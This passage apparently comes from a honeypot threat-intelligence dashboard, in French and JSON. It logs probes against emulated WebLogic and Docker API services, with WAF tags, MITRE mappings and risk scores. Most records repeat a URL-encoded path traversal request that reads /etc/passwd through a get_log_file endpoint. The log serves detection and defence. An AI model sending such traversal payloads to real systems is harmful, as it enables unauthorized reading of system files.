"asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "7d6e27b1c74492d601531c85603ee861", "payload_hash": "7c30139371d67607193af366c0546893", "path_pattern_hash": "978a41059d54cd7af13c41def51c9e3a" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 66 }, "method": "GET", "path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Maci", "evidence": { "method": "GET", "path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Maci", "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "385065c389cd595274fcf41deac961e90142fc7b", "protocol_details": { "http_method": "GET", "http_path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd", "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Maci", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%\u2026", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 66, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 66, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Http Lfi", "CRS-930100-sub", "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd", "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%\u2026", "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Maci", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 7 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api", "http_path_traversal", "http_path_traversal_high", "http_probe_api", "http_sensitive_path", "net_web_probe" ] }
30/07/2026 21:49:37 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla Requête brute (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Accept: / Accept-Language: Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 285, "payload_entropy": 5.442340496721545, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "2d6a518b00a6da1ba54c1665b2b5692f", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: ", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "evidence": { "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: ", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "a63060748e420d193dc764f1d6194d8315050108", "protocol_details": { "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:37 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%…	Élevée	Élevé · 66
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605… Émulateur HTTP WAF 47 Recommandation Investiguer Tags 950260:lfi-0 950264:lfi-1 950316:lfi-14 950326:rce-0 Cible HTTP GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd Service HTTP Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 66 Confiance : Confiance 100 % — 7 tag(s) WAF Protocole émulé 1 Signaux Http Lfi CRS-930100-sub Upstream Waf Score Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15 Règles WAF lfi-0 lfi-1 lfi-14 rce-0 nosqli-3 k8s-api Payload (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla Requête brute (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15 Accept: / A Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 6, "http_path_ext": "%2fetc%2fpasswd", "http_ua_hash": "107136c3dda335883017ea161dc35e2cb99eef6f", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "63822131a7e543bb532e9176ad300a599b5ad8bb", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 301, "payload_entropy": 5.380357930696545, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 66, "tag_count": 12, "anomaly_count": 0, "campaign_key": "c240e7c1fb7176369b15f42d7c20106ff32c60c7", "event_fingerprint": "14bfd12df171ed5e1ff2279fa159f894c7bed83f", "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 323, "precision_signals": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 66, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "5608112c5f687a20f2bcf14c4bbf107e", "payload_hash": "44ceffe29564b0bce4b3c2afc3675dac", "path_pattern_hash": "6818a48eecff9e232a9b4d6ae2d77ac5" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 66 }, "method": "GET", "path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.0.5 Safari\/605.1.15", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla", "evidence": { "method": "GET", "path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.0.5 Safari\/605.1.15", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.0.5 Safari\/605.1.15\r\nAccept: \/\r\nA", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla", "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "47921db5ac2986836985a04286984305b8b528a9", "protocol_details": { "http_method": "GET", "http_path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.0.5 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%\u2026", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 66, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 66, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Http Lfi", "CRS-930100-sub", "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", "request_line": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.0.5 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%\u2026", "evidence_snippet": "GET 